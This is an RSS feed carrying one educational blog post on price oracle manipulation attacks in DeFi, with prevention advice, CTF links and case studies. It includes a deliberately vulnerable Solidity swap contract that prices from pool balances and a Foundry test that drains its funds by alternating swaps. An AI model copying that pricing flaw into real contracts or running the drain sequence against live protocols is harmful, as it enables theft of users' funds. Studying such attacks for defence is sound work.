<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Coder Legion - Recent posts tagged oracles</title>
<link>https://coderlegion.com/tag/oracles</link>
<description>Powered by Question2Answer</description>
<item>
<title>What are Price Oracle Manipulation Attacks in Blockchain contracts and EVM???</title>
<link>https://coderlegion.com/3734/what-are-price-oracle-manipulation-attacks-in-blockchain-contracts-and-evm</link>
<description>&lt;h2 id=&quot;oracles-simple-introduction&quot;&gt;&lt;strong&gt;Oracles: Simple Introduction&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Oracles&lt;/code&gt; are &lt;code&gt;external data providers&lt;/code&gt; that bring off-chain data to on-chain smart contracts!!!!&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DeFi protocols&lt;/code&gt; with &lt;code&gt;Liquidity Pools&lt;/code&gt; are considered as &lt;code&gt;oracles&lt;/code&gt; -&amp;gt; Such as Uniswap, Sushiswap, etc.&lt;/li&gt;
&lt;li&gt;DeFi protocols, &lt;code&gt;who rely on the on-chain price of an asset&lt;/code&gt; in order to function &lt;code&gt;uses oracles&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;any device that delivers the price of an asset (for example, ETH, USD, or BTC) to be considered an oracle.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;oracles-and-defi-protocols-&quot;&gt;&lt;strong&gt;Oracles and DeFi Protocols&lt;/strong&gt;:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;DeFi protocols need &lt;code&gt;to liquidate a user’s loan&lt;/code&gt; Decisisons are made based on &lt;code&gt;data provided by oracles&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Chainlink price feeds, Tellor and Uniswap(TWAP)&lt;/code&gt; are some example of oracles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;On-chain protocols with &lt;code&gt;liquidity pools&lt;/code&gt; are considered as &lt;code&gt;oracles&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Protocols using &lt;code&gt;liquidity pools&lt;/code&gt; as oracles are highly vulnerable to &lt;code&gt;price oracle manipulation attacks&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;price-oracle-manipulation-attacks&quot;&gt;&lt;strong&gt;Price Oracle Manipulation Attacks&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Price oracle manipulation attacks happen when an oracle’s price feed is &lt;code&gt;artificially manipulated from an attacker&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This manipulation can dramatically &lt;code&gt;affect behavior within DeFi protocols&lt;/code&gt; that rely on that oracle for their &lt;code&gt;internal logic.&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;These alterations can create arbitrage opportunities&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Oracle manipulation attacks&lt;/code&gt; occur when we &lt;code&gt;manipulate the information the oracle is sending to the blockchain&lt;/code&gt;, thereby impacting the action being executed on-chain to the benefit of the manipulator.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-does-price-oracle-manipulation-attacks-work-&quot;&gt;&lt;strong&gt;How does Price Oracle Manipulation Attacks Work?&lt;/strong&gt;:&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Most oracle price manipulation attacks occur through the use of &lt;code&gt;Flash Loans&lt;/code&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Attackers can &lt;code&gt;exploit Flash Loans to alter the price of assets&lt;/code&gt; in automated market makers such as Uniswap, &lt;/li&gt;
&lt;li&gt;&lt;code&gt;changing the spot price ratio&lt;/code&gt; of a token before the lender smart contract has a chance to look up the token again.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;some-important-things-to-keep-in-mind-&quot;&gt;&lt;strong&gt;Some important things to keep in mind:&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;type of oracle defi protocols&lt;/strong&gt; using determines how likely they are vulnerable to &lt;code&gt;price oracle manipulation attacks&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;Protocols using a liquidity pool&lt;/code&gt; as their oracle are essentially 99.9% likely to be exploited&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Better oracles to be used:&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Oracles like Chainlink&lt;/code&gt;, are harder to break!!!!&lt;/li&gt;
&lt;li&gt;Uniswap's &lt;code&gt;TWAP(time weighted average price)&lt;/code&gt; are less-accurate but more secure!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;how-to-prevent-price-oracle-manipulation-attacks-&quot;&gt;&lt;strong&gt;How to prevent Price Oracle Manipulation Attacks?&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Choose the oracle carefully&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Which data feeds are being aggregated by the oracle?&lt;/li&gt;
&lt;li&gt;Is this data being fetched from centralized exchanges, decentralized ones, or both?&lt;/li&gt;
&lt;li&gt;Which statistical method is being used to aggregate this data into a single output?&lt;/li&gt;
&lt;li&gt;How does the oracle work out dispute mechanisms in case there’s discrepancies between the nodes?&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Have backup systems:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Dual oracle system &lt;code&gt;[Chainlink price feeds + Uniswap TWAP]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Use decentralized oracles over centralized ones:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Common examples of decentralized oracles are: &lt;code&gt;Chainlink, API3, and Synthetix&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;example-contract-and-attack-work-flow-of-price-oracle-manipulation-attack&quot;&gt;Example contract and Attack work flow of Price Oracle Manipulation Attack&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Simple contract that swaps tokens (tokenA and tokenB)&lt;/li&gt;
&lt;li&gt;This contract uses &lt;code&gt;getSwapPrice()&lt;/code&gt; to get the price of tokenA and tokenB&lt;/li&gt;
&lt;li&gt;Dex contract stores all funds(tokenA and tokenB)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;contract Dex is Ownable {
    /// @dev function swaps tokenA and tokenB
    /// @param amountIn amount of 'from' token to swap
    /// @param amountOut amount of 'to' token to swap
    function swap(address from, address to, uint256 amountIn) public {
        require((from == token1 &amp;amp;&amp;amp; to == token2) || (from == token2 &amp;amp;&amp;amp; to == token1), &quot;Invalid tokens&quot;);
        require(IERC20(from).balanceOf(msg.sender) &amp;gt;= amountIn, &quot;Not enough to swap&quot;);

        uint256 swapAmount = getSwapPrice(from, to, amountIn); // this get the amountOut price
        
        IERC20(from).transferFrom(msg.sender, address(this), amountIn); // transfer from user to contract
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount); // transfer from contract to user
    }

    /// @dev function returns the amountOut price for token
    /// @param amountOut amount of 'to' token to swap
    function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Below test will try to &lt;code&gt;swap tokens(tokenA and tokenB) alternatively using swap() function from Dex contract&lt;/code&gt; to manipulate the price and drain all funds from Dex contract!!!!&lt;/li&gt;
&lt;li&gt;Target -&amp;gt; drain all tokenA from Dex contract&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;contract DexTest is Test{
    function setUp() public {
        /// @dev consider complete initial setup for Dex contract, tokenA, tokenB
        /// @dev contract -&amp;gt; 100 tokenA and 100 tokenB
        /// @dev attacker -&amp;gt; 10 tokenA and 10 tokenB
    }

    function test_CreatePriceManipulationAttack_usingDEX() public {
        // Initial state
        console.log(&quot;--- Initial State ---&quot;);
        console.log(&quot;DEX token1 balance:&quot;, token1.balanceOf(address(dex)));
        console.log(&quot;DEX token2 balance:&quot;, token2.balanceOf(address(dex)));
        console.log(&quot;User token1 balance:&quot;, token1.balanceOf(user));
        console.log(&quot;User token2 balance:&quot;, token2.balanceOf(user));

        vm.startPrank(user);
        
        // Round 1: Swap 10 token1 -&amp;gt; token2
        uint256 swapAmount1 = dex.getSwapPrice(address(token1), address(token2), 10);
        dex.swap(address(token1), address(token2), 10);
        
        // Round 2: Swap all token2 back -&amp;gt; token1
        uint256 userToken2Balance = token2.balanceOf(user);
        uint256 swapAmount2 = dex.getSwapPrice(address(token2), address(token1), userToken2Balance);
        dex.swap(address(token2), address(token1), userToken2Balance);
        
        
        // Continue the attack pattern until we can drain all token1
        uint256 round = 3;
        while (token1.balanceOf(address(dex)) &amp;gt; 0 &amp;amp;&amp;amp; round &amp;lt;= 10) {
            
            if (round % 2 == 1) {
                // Odd rounds: token1 -&amp;gt; token2
                uint256 userToken1 = token1.balanceOf(user);
                if (userToken1 &amp;gt; 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token1), address(token2), userToken1);
                    
                    // Check if this would drain all token1
                    if (swapAmount &amp;gt;= token2.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token2
                        uint256 remainingToken2 = token2.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken2 * token1.balanceOf(address(dex))) / token2.balanceOf(address(dex));
                        dex.swap(address(token1), address(token2), exactAmount);
                    } else {
                        dex.swap(address(token1), address(token2), userToken1);
                    }
                }
            } else {
                // Even rounds: token2 -&amp;gt; token1
                uint256 userToken2 = token2.balanceOf(user);
                if (userToken2 &amp;gt; 0) {
                    uint256 swapAmount = dex.getSwapPrice(address(token2), address(token1), userToken2);
                    
                    // Check if this would drain all token1
                    if (swapAmount &amp;gt;= token1.balanceOf(address(dex))) {
                        // Calculate exact amount needed to get all remaining token1
                        uint256 remainingToken1 = token1.balanceOf(address(dex));
                        uint256 exactAmount = (remainingToken1 * token2.balanceOf(address(dex))) / token1.balanceOf(address(dex));
                        dex.swap(address(token2), address(token1), exactAmount);
                        break;
                    } else {
                        dex.swap(address(token2), address(token1), userToken2);
                    }
                }
            }
            round++;
        }
        
        vm.stopPrank();
        
        // Verify the attack was successful
        assertEq(token1.balanceOf(address(dex)), 0, &quot;All token1 should be drained from DEX&quot;);
        assert(token1.balanceOf(user) &amp;gt; 10); // User should have more token1 than they started with
        }
    }

&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;standard-methods-that-leads-to-price-oracle-manipulation-attacks&quot;&gt;Standard Methods that leads to Price oracle manipulation attacks&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Swap based Price Manipulation&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;DeFi protocols&lt;/code&gt; that uses &lt;code&gt;Uniswaps/DEX's&lt;/code&gt; as their oracles for price feeds&lt;/li&gt;
&lt;li&gt;Attackers can alternatively swaps two tokens until they drain out large funds&lt;/li&gt;
&lt;li&gt;Swap large ETH for Token → &lt;code&gt;make Token look cheap&lt;/code&gt; and as price fluctuates again they &lt;code&gt;swap tokens for ETH&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Flashloan based Price Manipulation&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Flashloan ETH&lt;/li&gt;
&lt;li&gt;Use flashloaned ETH to swap token → skew Uniswap price&lt;/li&gt;
&lt;li&gt;Use manipulated price to drain lending/staking/vault&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Repay flashloan, keep profit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Using flashloan to create Arbitrage opportunity&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Manipulating Oracles (LP)&lt;/strong&gt;:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Some protocols use Uniswap LP as oracle&lt;/li&gt;
&lt;li&gt;But LP price = tokenA / tokenB is easily skewed&lt;/li&gt;
&lt;li&gt;If you can control LP state, you control the price&lt;/li&gt;
&lt;li&gt;Attacker swaps to inflate or deflate this price, and the protocol believes it.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;tryout-this-ctf-challenges-for-better-understanding-about-the-attack-&quot;&gt;Tryout this CTF challenges for better understanding about the attack!!!&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://ethernaut.openzeppelin.com/level/22&quot;&gt;https://ethernaut.openzeppelin.com/level/22&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://ethernaut.openzeppelin.com/level/23&quot;&gt;https://ethernaut.openzeppelin.com/level/23&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;case-studies&quot;&gt;&lt;strong&gt;case studies&lt;/strong&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://infotrend.com/mango-markets-madness-a-case-study-on-the-mango-markets-exploit/&quot;&gt;https://infotrend.com/mango-markets-madness-a-case-study-on-the-mango-markets-exploit/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://rekt.news/cream-rekt-2/&quot;&gt;https://rekt.news/cream-rekt-2/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Blockchain Sec</category>
<guid isPermaLink="true">https://coderlegion.com/3734/what-are-price-oracle-manipulation-attacks-in-blockchain-contracts-and-evm</guid>
<pubDate>Sat, 05 Jul 2025 20:38:10 +0000</pubDate>
</item>
</channel>
</rss>